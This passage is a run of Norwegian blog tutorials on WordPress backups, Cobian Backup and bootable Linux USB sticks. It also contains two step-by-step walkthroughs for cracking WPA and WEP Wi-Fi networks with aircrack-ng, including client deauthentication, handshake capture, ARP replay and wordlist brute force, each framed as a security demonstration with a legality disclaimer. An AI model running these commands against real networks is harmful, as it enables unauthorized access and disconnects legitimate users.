Det er derfor det er greit å ta sikkerhetskopier av og til, men gjerne gjøre dette automatisk, for da slipper du å tenke på det og du er trygg på at det alltid vil være en måte å få tilbake alle de kjære bloggpostene dine på.

WordPress backup

Det er 2 ting du skal ta sikkerhetskopi av i WordPress der den ene er WP-Content som inneholder alle temaene, innstikkene, bilder du har lastet opp til postene og annet du bruker på bloggen din, og det andre og det viktigste er å ta sikkerhetskopi av databasen din.

Og ettersom det å ta sikkerhetskopi av databasen er en stor prosess og ofte vanskelig for de som ikke vet akkurat hva de skal gjøre, så finnes det et innstikk til WordPress som gjør hele prosessen automatisk, og ganske enkelt.

WP-Content

Dersom du ofte inkluderer bilder i postene du skriver på bloggen din så vil de bli lastet opp til uploads mappen på WP-Content, sammen med alle temaene og innstikkene du bruker på din WordPress blogg.

Derfor er det lurt å ta regelmessig kopi av dette, og du kan gjøre det enkelt ved å installere WordPress Backup Plugin, og ettersom jeg regner med at du vet hvordan du installerer dette så vil jeg ikke forklare det (du er velkommen til å spørre meg da).

Du kan konfigurere innstikket til å ta en sikkerhetskopi hver time, hver dag eller hver uke og sende deg dem på en e-post adresse, i tillegg til at den laster det opp på en plassering på samme server som bloggen din er.

Når du aktiverer dette innstikket vil den automatisk finne alt den trenger, så det eneste du trenger å fortelle den er om du vil at den skal sende deg en kopi av backupen på e-post og hvor ofte den skal ta en sikkerhetskopi.

Databasen

Den andre tingen du må ta sikkerhetskopi av, eller hvertfall på det sterkeste bør gjøre, er databasen din om inneholder alle kommentarer, poster, informasjon om bloggen og mye mer.

Dette kan også gjøres enkelt automatisk med WP-DB-Backup Plugin som lar deg velge å ta en sikkerhetskopi med jevne mellomrom og sende den til deg på e-post eller du kan manuelt velge å lagre den lokalt eller på serveren.

Konklusjon

Og med disse to instikkene til WordPress bloggen din vil du automatisk få en sikkerhetskopi av det som er nødvendig for å holde bloggen din gående og gir deg en mulighet til å gjenopprette dersom det verste skulle skje deg.

Alle vil jo egentlig ta sikkerhetskopi av det viktigste de har lagret på datamaskinen, men det er veldig få som har tid eller i det hele tatt gidder å ta se bryet til å gjøre det, og noen andre gjør det – men de gjør det manuelt.

La meg introdusere Cobian Backup

Cobian Backup er en applikasjon som kan brukes til å kjøre regelmessige sikkerhetskopieringer av filer og mapper fra deres originale plassering til andre mapper eller disker på den samme datamaskinen, andre datamaskiner i nettverket eller laste sikkerhetskopiene opp på en FTP-server.

FTP-sikkerhetskopiering med Cobian Backup fungerer både til å kopiere fra en FTP-server og til en FTP-server, altså begge veier som er veldig nyttig.

Cobian Backup kan kjøres som to forskjellige versjoner; som en vanlig applikasjon eller som en tjeneste. Denne applikasjonen bruker veldig lite system ressurser, og du trenger da ikke å bekymre deg for at den kjører i bakgrunnen for å ta sikkerhetskopier når det trengs.

Cobian Backup kan kopiere filer og mapper i sin originale form eller komprimere filene til en annen plassering, og opprette en veldig sikker backup. Applikasjonen støtter flere metoder med komprimering og flere metoder for sikker kryptering.

Installasjonen

Selve installasjonen er ikke så forskjellig fra andre installasjoner, men det er noen få punkter underveis som kan få deg til å lure på hva du skal gjøre, så jeg skal prøve å forklare kjapt hva som du kan forvente deg.

Når du har kommet frem til denne delen av installasjonen vil du få velge hvor applikasjonen skal installeres og muligheten for å plassere ikoner på start-menyen, men du vil også få et valg som heter “Install the Volume Shadow Copy service” – kort og greit, installer denne tjenesten.

Volume Shadow Copy gir deg muligheten til å ta sikkerhetskopier av filer og mapper mens de er i bruk av en applikasjon, og du kan finne denne tjenesten på Windows 7, Vista, XP og Server 2008.

Neste steget i installasjonen vil du få opp som på bildet over, og her har du også flere valg og mange av disse kan du selv bestemme, men det er ikke helt sikkert du vet hva du vil oppnå med dette.

Siden jeg er ute etter å skape en automatisk prosess av sikkerhetskopieringen av filer og mappe på min datamaskin, så velger jeg å installer Cobian Backup som en tjeneste (As a service).

Og nå som den skal kjøre som en tjeneste vil den behøve en administratorbruker for å få tilgang til å kopiere alle filene og mappene du velger, så derfor må jeg skrive navnet på datamaskinen eller domenet etterfulgt av brukernavnet – og så passordet til administratorbrukeren.

Eksempel: datamaskin-navn\administrator-01

Fordelen ved å kjøre dette som en tjeneste er at prosessen for sikkerhetskopieringen vil kjøre uansett  hvilken bruker som er pålogget, eller dersom ingen brukere er pålogget i det hele tatt – så lenge datamaskinen er slått på så vil sikkerhetskopieringen kjøre når den behøver.

Opprette automatisk backup

Så nå som applikasjonen er installert er det på tide å konfigurere en automatisk sikkerhetskopiering av det du ikke kan miste, eller vil ha backup av. Start applikasjonen og du vil ende opp med et slikt vindu som det under.

Forskjellen er at du vil ikke ha noen sikkerhetsrutiner der, så det vil være helt blankt i det hvite feltet til venstre, men det skal vi ordne – ta å klikk på den klokka for å opprette en backuprutine (Create a new task).

Det første du vil møte er da dette vinduet hvor du bestemmer mye over hvordan sikkerhetskopien din skal være, blant annet navnet på backuprutinen og hvilken type backup du vil bruke.

Full backup vil gjøre som den akkurat sier, den tar backup av absolutt alle filene og mappene, uansett.

Inkrementell (Incremental) backup vil kun ta backup av de filene som er forandret siden sist backup.

Differensiell (Differential) backup vil kun ta backup av de filene som er forandret siden sist fulle backup.

Dummy backup gir deg muligheten til å avslutte enkelte programmer eller oppgaver på spesifikke tidspunkter, men ettersom dette er et mer avansert valg så er det ikke relevant for denne enkle backup rutinen.

Du kan også velge hvor ofte det skal kjøres en full backup, uansett hvilken backup type du har, ved å skrive antall dager (hver 3. dag i dette eksempelet) samtidig som du kan bestemme hvor mange fulle backuper du skal beholde.

Når du først er ferdig med de første innstillingene så er det på tide å klikke på “Files” for å velge hva du skal ta backup av og hvor backupen skal plasseres.

Legg merke til du kan velge å ta backup av enkelte filer, mapper, på en FTP server eller manuelt skrive plasseringen (for eksempel en nettverkmaskin).

Så er det viktig å velge hvilket tidsskjema du skal bruke, altså når og hvor ofte du skal kjøre en sikkerhetskopi. Du kan velge ukentlig og velge akkurat hvilke dager og klokkeslett den skal kjøres.

Neste meny er ganske viktig å konfigurere for det er her sikkerheten og komprimeringen blir valgt. Du kan velge om hele sikkerhetskopien skal bli pakket i et ZIP-arkiv for å bruke mindre plass, og samtidig passord beskytte den ZIP-filen.

Andre muligheter er at du kan splitte arkivet i flere deler, til for eksempel størrelser som passer på en CD-plate (700 MB) eller DVD-plate (4,7 GB) og samtidig gi arkivet en kommentar så du vet hva det er.

Krypteringen er også viktig, for den vil kryptere sikkerhetskopien etter at den har blitt komprimert til et ZIP-arkiv. Mulige krypteringsmetoder er følgende.

• RSA-Rijndael (1024-256 bits)
• Blowfish (128 bits)
• Rijndael (128 bits)
• DES (64 bits)

Men du kan selvfølgelig la være å kryptere arkivet, for dersom du bruker en av disse krypteringene er du avhengig av å dekryptere dem med Cobian Backup, og det er ikke sikkert du har tilgang til denne applikasjonen når du trenger backupen.

Husk å opprette et bra passord når du velger kryptering eller passord på ZIP-arkivet.

Ferdig, hva nå?

Dersom du har fulgt stegen i denne artikkelen så har du fått med deg det viktigste og det som er nødvendig for at sikkerhetskopieringen din skal fungere greit, og de gjenstående innstillingene er for mer avansert bruk.

Derfor er det egentlig ikke mer du behøver å gjøre nå, men det kan være lurt å kjøre backup prosessen nå med engang bare for å ha tatt en full backup slik at du har den liggende – det gjør du ved å klikke på backup rutinen du har opprettet og så “Run the selected tasks“.

Og backup rutinen har nå kjørt sin første økt, og du bør da ta en sjekk på at backupen ble riktig ved å åpne alle filene fra backupen og se at de fungerer optimalt.

Dersom du valgte å kryptere sikkerhetskopien kan du enkelt klikk deg inn på Tools i menyen til Cobian Backup og velge Decrypter and keys for å dekryptere filen slik at du eventuelt pakke ut arkivet med sikkerhetskopien.

Konklusjon

Altså, ingen personer som bruker datamaskinen regelmessig og har dokumenter som er forsåvidt viktige, har ingen unnskyldning for å ikke sette opp en slik sikkerhetsrutine som dette – eneste er at den personen eventuelt ikke vet hvordan, men nå vet du!

Denne applikasjonen er gratis, enkel å bruke selv om det er flere avanserte funksjoner som er nyttige, bruker lite ressurser så du vil ikke legge merke at den er til stede når den kjører en backup.

Hva venter du på?

Last ned Cobian Backup fra educ.umu.se

Er det noen som kan dele sine erfaringer med dette, eller har andre tips som er relative? Skriv en kommentar!

Disclaimer: Det er ulovlig å bryte seg på et trådløst nettverk uten tillatelse, og denne artikkelen er kun for å vise hvor usikkert WPA-kryptering kan være dersom du ikke er oppmerksom.

Introduksjon

Metodene jeg bruker for å bryte meg inn på et WPA-kryptert trådløst nettverk gjør jeg på en Acer Aspire One, med BackTrack 4 installert lokalt på datamaskinen, men det er også fullt mulig å kjøre denne Linux distribusjonen fra en Live CD eller fra en USB-enhet.

BackTrack er en vanlig Linux distribusjon, men inneholder en hel del med verktøy og applikasjoner som vi kan bruke for å teste sikkerheten slik at vi kan fikse eventuelle sikkerhetshull, og det er hva jeg kommer til å skrive i denne artikkelen – nemlig vise hvor enkelt det er å bryte seg inn på et WPA-kryptert trådløst nettverk dersom du ikke er klar over det.

Før vi går videre så må vi sjekke om du har et trådløst nettverkskort som har støtte for prosessen vi skal utføre – dette ble beskrevet i artikkelen som er linket i begynnelsen av denne artikkelen, men dersom du vet hvilket trådløst nettverkskort du har kan du sjekke i denne tabellen om det støttes.

Let’s get that handshake captured

Vi må begynne med å finne ut navnet på det trådløse nettverkskortet og det kan vi gjøre ved å skrive følgende kommando i terminalen.

iwconfig

Her ser jeg at navnet på mitt trådløse nettverkskort er wlan0, men dette kan være forskjellig fra datamaskin til datamaskin så vær nøye med å sjekke hva ditt navn er.

Og nå kommer punktet der vi skal gjøre noe som ikke alle trådløse nettverkskort har støtte for, og det er derfor viktig at du først sjekker at du virkelig har støtte for denne funksjonen.

Vi skriver følgende kommando i terminalen for å sette det trådløse nettverkskortet i leser modus (monitor modus).

airmon-ng start wlan0

Og du må selvsagt erstatter wlan0 med navnet på ditt trådløse nettverkskort for at dette skal fungere for din datamaskin.

Nå er det trådløse nettverkskortet i leser modus, og har fått et nytt navn som er mon0 (dette varierer selvfølgelig, så ditt navn kan være noe annet).

Vi skriver følgende kommando for å få en oversikt over tilgjengelige trådløse nettverk som er innenfor rekkevidde.

airodump-ng mon0

Og du må selvfølgelig skrive navnet på ditt trådløse nettverkskort som du har i leser modus som vi gjorde i forrige steg.

Som vi ser på bildet over er mitt trådløse nettverk med WPA-kryptering suntom og jeg kan se at det er en bruker som allerede er koblet til nettverket, og dette kan vi utnytte til vår fordel.

Og vi har nå informasjonen vi trenger for å komme oss videre og bruke den informasjonen, og vi skriver derfor følgende kommando for å starte prosessen.

airodump-ng -c [channel] -w [filnavn] --bssid [BSSID til routeren] [navn på ditt trådløse nettverkskort i leser modus]

Og i mitt tilfelle får jeg følgende kommando.

airodump-ng -c 11 -w suntom --bssid 00:02:61:25:EB:98 mon0

Som du kan se på bildet over så har jeg full oversikt over det trådløse nettverk og eventuelle klienter som er koblet til, og det er akkurat det vi trenger.

Vi trenger en klient som er koblet til det trådløse nettverket fordi vi skal kaste den klienten av det trådløse nettverket slik at vi kan fange opp en handshake, altså hendelsen da klienten kobler til på nytt til det trådløse nettverket og det vil da gi oss en rekke med informasjon.

For å kaste ut en klient fra det trådløse nettverket, åpner vi et nytt (viktig å ikke lukke det gjeldene terminal vinduet) terminal vindu og skriver følgende kommando.

aireplay-ng -0 1 -a [BSSID] -c [MAC-adressen til klientent] [navn på ditt trådløse nettverkskort i leser modus]

Og i mitt tilfelle får jeg følgende kommando.

aireplay-ng -0 1 -a 00:02:61:25:EB:98 -c 00:1E:52:23:86:7F mon0

Denne kommandoen skal få klienten til å bli frakoblet det trådløse nettverket og måtte autorisere seg på nytt og dette vil gi oss selve handshake i får CAP-fil.

Dersom du har klart å motta en handshake så vil du kunne se det på den første terminalen opp til høyre, og da er vi klare for å gå videre til neste steg, men dersom du ikke har fått en handshake, så er det bare å repetere den kommandoen over eller prøve en annen klient på det trådløse nettverket.

Nå som du har fått en handshake kan du lukke begge terminalene og vi behøver ikke lenger å være innenfor det trådløse nettverkets rekkevidde, så vi kan plassere oss litt vekk eller der vi føler oss komfortabel – vi har nemlig all informasjonen vi trenger i CAP-filen vi opprettet tidligere.

Den vanskelige og tidkrevende delen

Som tittelen sier, dette er den vanskelige delen for vi skal nå bruke en  metode som heter bruteforce for å finne WPA-nøkkelen vi har fanget opp i CAP-filen vår, og dette vil kreve en god ordliste.

Denne metoden vil kreve at WPA-nøkkelen er i ordlisten og derfor er det ikke garantert at vi vil få et vellykket resultat, men det er forsåvidt enkelt å produsere en god ordliste over det meste brukte ordene osv. Vær også oppmerksom på at en WPA-nøkkel er på 8-63 tegn og kan inneholde små og store bokstaver, tall og tegn.

Last ned en enkel WPA-ordliste fra SunTom.no (høyreklikk – lagre som)

Så for å starte selve prosessen der vi skal finne WPA-nøkkelen skriver vi følgende kommando i terminalen.

aircrack-ng -w [ordliste.txt] -b [BSSID] [filnavn-01.cap]

Og i mitt tilfelle får jeg følgende kommando.

aircrack-ng -w /root/wpa.txt -b 00:02:61:25:EB:98 suntom-01.cap

Og som dere kan se på bildet over var dette forsøket vellykket og det tok ikke akkurat lang tid før WPA-nøkkelen ble funnet, men dette var en enkel nøkkel for demonstrasjonen, og jeg var avhengig at nøkkelen var i ordlisten jeg brukte.

Konklusjonen

WPA-kryptering kan være utrolig enkelt å bryte seg inn på, mye enklere enn WEP, men det kommer ann på hva slags nøkkel som er brukt. Dersom det er et enkelt ord som du finner i hvilken som helst ordliste, så vil det ta mindre enn 5 minutter å finne det ut.

Derfor er WPA-kryptering kun bra for et sikkert trådløst nettverk dersom du bruker en nøkkel, altså et passord, som er mellom 8-63 tegn, gjerne over 20 tegn og en blanding av store og små bokstaver, tegn og tall.

Les også hvordan du kan opprette et bra passord og enkelt huske det.

Hele prosessen er utrolig enkelt og det foregår for det meste helt automatisk, så det eneste du behøver å gjøre er å velge hvilken Linux du vil ha på minnepennen, laste den ned og konfigurere UNetbootin til å bruke den korrekte ISO-filen.

Hva er UNetbootin

UNetbootin vil gjøre det mulig for deg å lage en minnepenn som kan boote flere varierte Linux distribusjoner eller andre operativsystemer, og kan enkelt kjøres fra Windows og Linux uten å måtte brenne en CD eller DVD.

Du har muligheten til å la den laste ned en Linux og dette vil selvfølgelig ta litt lengre tid enn dersom du hadde ISO-filen for Linux distribusjonen eller annet operativsystem lokalt på datamaskinen, eller kanskje den Linux distribusjonen du er interessert i ikke er på listen.

Forberede minnepennen

For at denne prosessen skal fungere smertefritt er vi nødt til å formatere minnepennen med FAT32, og det vil si at du må ta kopi av det som er på minnepennen dersom det er noe du ikke vil slette.

Vi starter med å gå til Min Datamaskin og høyreklikker på minnepennen og velger Format. Den har et navn som likner på Removable Device eller annet dersom du har forandret det.

Når vi velger Format på minnepennen får du opp et nytt vindu med flere valg, men det eneste vi skal bry oss om er at den skal formateres som FAT32, og det velger du i listen som er nr. 2 fra toppen.

Du kan også huke av for Hurtigformatering.

Når du trykker Start vil du få en advarsel om at alt innholdet på minnepennen vil bli slettet, og dette er viktig at du får med deg dersom det er noe du vil ta kopi av før du gjør denne prosessen.

Kort etter vil du få beskjed om at formateringen er ferdig, og da kan vi gå videre til neste steg.

Installere og konfigurere UNetbootin

Det er nå selve hovedprosessen starter og dette krever at du enten har en ISO-fil lokalt på datamaskinen, eller så må du velge en og vente til den er ferdig lastet ned i UNetbootin.

Last ned UNetbootin fra Sourceforge.net

Nå som du har lastet ned applikasjonen og startet den kan vi begynne å installere operativsystemet på minnepennen.

Her velger jeg en distribusjon som heter BackTrack, men jeg ser at de ikke har lagt inn siste versjon så jeg vil derfor velge den siste versjonen som jeg har lagret lokalt på datamaskinen i form av en ISO-fil.

Her er det selvsagt mulig å velge en ISO-fil med Windows XP eller andre operativsystemer som vi vil legge på en minnepenn, og dette er jo spesielt greit dersom du skal installere operativsystemet på en datamaskin uten CD-rom – som en Aspire One for eksempel.

Men som på bildet ovenfor så kan dere se at jeg har valgt ISO-filen jeg vil installere på minnepennen, jeg har valgt at den skal installeres på en USB-enhet og enheten er stasjon G:\ og dette er viktig dersom du har koblet flere minnepenner eller eksterne harddisker til datamaskinen.

Vær sikker på at du velger riktig stasjon når du skal installere, og så er det bare å trykke OK for å starte prosessen.

Etter en stund vil du få et bilde som er som det ovenfor og minnepennen er nå klar til å bootes fra. Den kan nå kobles til en datamaskin og du kan velge å kjøre Live CD fra den dersom det er en Linux distribusjon som støtter det eller installere lokalt på datamaskinen.

Konklusjon

Dette er utrolig nyttig dersom du har en mini-laptop som ikke har en CD-rom og du vil ha et annet operativsystem enn hva den originalt kom installert med. Dette gir oss muligheten til å installere Windows XP på laptoper som originalt kommer med en kjedelig Linpus Linux – huff.

Dette gir oss også muligheten til å bruke minnepennen som en redning dersom du ikke kommer inn på datamaskinen og du kan dermed kjøre Live CD fra minnepennen og kopiere filene tilbake til en ekstern lagringsplass.

Disclaimer: Det er ulovlig å bryte seg på et trådløst nettverk uten tillatelse, og denne artikkelen er kun for å vise hvor usikkert WEP-kryptering egentlig er.

Introduksjon

Metoden jeg bruker for å bryte meg inn i et WEP-kryptert trådløst nettverk gjør jeg med BacktTrack Linux.

BacktTrack Linux er en Linux distribusjon og er gratis å laste ned og kan installeres som et eget operativsystem på datamaskinen eller kjøres via en USB-nøkkel eller fra en Live CD.

Derfor har du enten muligheten for å laste ned BackTrack Linux og installere det lokalt på datamaskinen, på en USB-nøkkel eller brenne det ut på en DVD og bruke den som en Live CD.

Last ned BackTrack Linux fra BackTrack-Linux.org

La oss sjekke om du har et brukbart trådløst kort

Det er visse krav til ditt trådløse nettverkskort når  vi skal gå gjennom disse prosessene, og derfor er det ikke alle som vil klare å fullføre dette. Så før vi begynner på leken tar vi en sjekk for å se om ditt trådløse nettverkskort er støttet av verktøyene vi skal bruke.

Vi åpner terminalen og skriver følgende kommando, og her er det forskjell på stor og liten W.

lspci | grep Wireless*

Dette vil vise oss en liste over maskinvaren på datamaskinen din, men siden vi skrev Wireless med en stjerne bak så er det kun trådløse komponenter som vil dukke opp.

Resultatet varierer selvfølgelig, men det skal se omtrent slik som på bildet under.

Nå som du har navnet på ditt trådløse nettverkskort kan vi besøke Aircrac-ng.org og se gjennom tabellen for å finne ut om det er støttet eller ikke. Selv bruker jeg en Acer One med trådløst nettverkskort fra Atheros (trådløse nettverkskort fra atheros er så godt som støttet alle sammen).

Vær obs på at trådløse USB trådløse nettverks enheter mest sannsynlig ikke er støttet.

Dersom du nå har funnet ut at du har et trådløst nettverkskort som er støttet kan vi gå videre.

Let the real fun begin

Det er nå den virkelige prosessen starter, og jeg skal prøve å gjøre det så enkelt som mulig med minst mulig forklaringer så alt ikke blir for avansert og frustrerende.

Vi starter med å finne navnet på ditt trådløse nettverkskort ved å skrive følgende kommando.

iwconfig

I mitt tilfelle så er navnet på mitt trådløse nettverkskort wlan0.

Vårt neste steg er å få det trådløse nettverkskortet i leser modus (monitor mode) og det er derfor ikke alle trådløse nettverkskort er brukbare – de kan ikke startes i leser modus.

Vi kjører følgende kommando i terminalen for å starte nettverkskortet i leser modus.

airmon-ng start wlan0

Her er det viktig at du erstatter wlan0 med navnet på ditt trådløse nettverkskort, ellers vil det ikke fungere uten riktig navn.

Som dere kan se på bildet over så er det vellykket aktivert leser modus på wlan0 og det nye navnet er nå mon0.

Nå er det på tide å samle inn informasjonen om det trådløse nettverket vi skal bryte oss inn på, så vi skriver følgende kommando for å få en oversikt.

airodump-ng mon0

Og her er det også viktig at du erstatter mon0 med det nye navnet du fikk på ditt trådløse nettverkskort i steget over.

Nå vil ditt trådløse nettverkskort lese alle de trådløse nettverkene som er innen rekkevidde og gi deg en full oversikt med mengder av informasjon, men ta det rolig – det er ikke så mye vi skal lese av.

Skriv ned følgende informasjon fra det WEP-krypterte trådløse nettverket.

• BSSID (MAC-adresse til routeren)
• CH (channel)
• ESSID (navnet på det trådløse nettverket)

Og legg selvfølgelig merke til at ENC (encryption) er WEP, for denne metoden vi bruker for å bryte inn vil ikke fungere på et WPA-trådløst nettverk.

I mitt tilfelle så blir min informasjon 00:02:61:25:EB:98 (BSSID), 11 (channel) og suntom (ESSID).

Neste steg er å bruke denne informasjonen for å samle data fra det trådløse nettverket, og det gjør vi ved å skrive følgende kommando i terminalen.

airodump-ng -c [channel] -w [filnavn] --bssid [bssid] [navn på trådløse nettverkskortet i leser modus]

Du vil da ende opp med en kommando som ser omtrent slik ut,

airodump-ng -c 11 -w suntom --bssid 00:02:61:25:EB:98 mon0

Nå samler vi opp informasjonen som vi trenger og blir sendt til denne routeren.

Åpne et nytt terminal vindu og la det andre stå og samle informasjonen, og i det nye terminal vinduet skal vi skrive følgende kommando.

macchanger --show mon0

Her er det også viktig at du erstatter mon0 med ditt navn på det trådløse nettverkskortet.

Nå som vi vet hva vår egen MAC-adresse er kan vi prøve å få kontakt med routeren ved å skrive følgende kommando i terminalen.

aireplay-ng -1 0 -a [BSSID] -h [Din MAC-adresse] -e [ESSID] [navn på trådløse nettverkskortet i leser modus]

Og i mitt tilfelle vil jeg få følgende:

aireplay-ng -1 0 -a 00:02:61:25:EB:98 -h 00:22:69:7b:EF:89 -e suntom mon0

Dersom du skrev alt riktig og det ble en suksess vil du bli sittende med et smilefjes i slutten av teksten som på bildet ovenfor. Vi kan nå koble til routeren og forsøke å sende pakker.

Nå er det på tide å sende noe trafikk til routeren slik at den sender noen pakker vi kan fange opp og bruke til vår fordel, og det gjør vi ved å skrive følgende kommando i terminalen.

aireplay-ng -3 -b [BSSID] -h [Din MAC-adresse] [navn på trådløse nettverkskortet i leser modus]

Og i mitt tilfelle vil jeg få følgende:

aireplay-ng -3 -b 00:02:61:25:EB:98 -h 00:22:69:7b:EF:89 mon0

Dersom vi er heldige nå vil du få lest mange pakker og det vil være flere ARP eller ACKs request, men vanligvis må vi vente til at en annen person kobler seg til det trådløse nettverket for å gi oss tilstrekkelig med informasjon.

I mitt tilfelle så ser jeg at det er en som allerede er koblet til det trådløse nettverket, og derfor vil jeg sparke den personen ut fra det trådløse nettverket slik at han er nødt til å koble til igjen.

For å sparke ut en klient slik at vi kan snuse på pakkene og informasjonen som dukker opp da han logger på det trådløse nettverket igjen, må vi skrive følgende kommando i terminalen.

aireplay-ng -0 1 –c [klient MAC-adresse]  -h [din MAC-adresse] –e [ESSID] [navn på trådløse nettverkskortet i leser modus]

Og i mitt tilfelle vil jeg få følgende:

aireplay-ng -0 1 -c 00:22:69:7B:EF:89 -h 00:02:61:25:EB:98 -e suntom mon0

Nå vil vi sparke klienten av det trådløse nettverket og tvinge maskinen til å koble til igjen, og nå burde det komme opp mange pakker, ARP og ACKs som vi kan bruke til vår fordel, nemlig å bryte inn på det WEP-krypterte trådløse nettverket.

Nå er det på tide å gå tilbake til den første terminalen, den som du ikke skulle lukke vekk – her burde det være tilstrekkelig med tall i #Data kolonnen, men vis ikke kan du sparke klienten av og på noen ganger til.

Vi er ute etter å få hvertfall 10.000 i #Data kolonnen, men gjerne opp til over 20.000 før vi begynner å bryte oss inn på det trådløse nettverket.

Og nå som vi har fått tilstrekkelig med tall i #Data klonnen kan vi begynne å dekryptere WEP-nøkkelen ved å skrive følgende kommando i et terminal vindu.

aircrack-ng -b [BSSID] [filnavn-01.cap]

Og i mitt tilfelle vil jeg få følgende:

aircrack-ng -b 00:02:61:25:EB:98 suntom-01.cap

Husk at filnavnet var det du valgte for noen steg tilbake, og det er viktig at du legger til “-01.cap” i slutten av filnavnet.

Og nå begynnere selve vente tiden, og nå gjelder det å ha en god porsjon tålmodighet, for hastigheten på denne prosessen varierer fra datamaskin til datamaskin – det kommer an på hvor kraftig prosessor og hvor mye minne du har.

Dermed vil vi ende opp med et resultat som enten er positivt eller negativt, og i dette tilfellet så var det positivt. Dersom du får beskjed om at den feilet, så må du rett og slett bare samle opp mer IVs, altså antallet i #Data kolonnen vi så på tidligere.

Konklusjonen

Med tanke på at dette tok ikke mer enn en halvtime å utføre, og det er gjort med en ganske standard laptop og gratis programvare så er ikke WEP-kryptering sikkert i noen grad på et trådløst nettverk.

Derfor er det på tide å kryptere med WPA eller WPA2 og du kan eventuelt lese hvordan du skal sikre et trådløst nettverk på den riktige måten.

Har jeg gjort noe feil eller kan jeg gjøre det enklere? Hva mener du om dette eller har du noen spørsmål angående emnet? Skriv en kommentar, og jeg lover at jeg skal svare så godt jeg kan.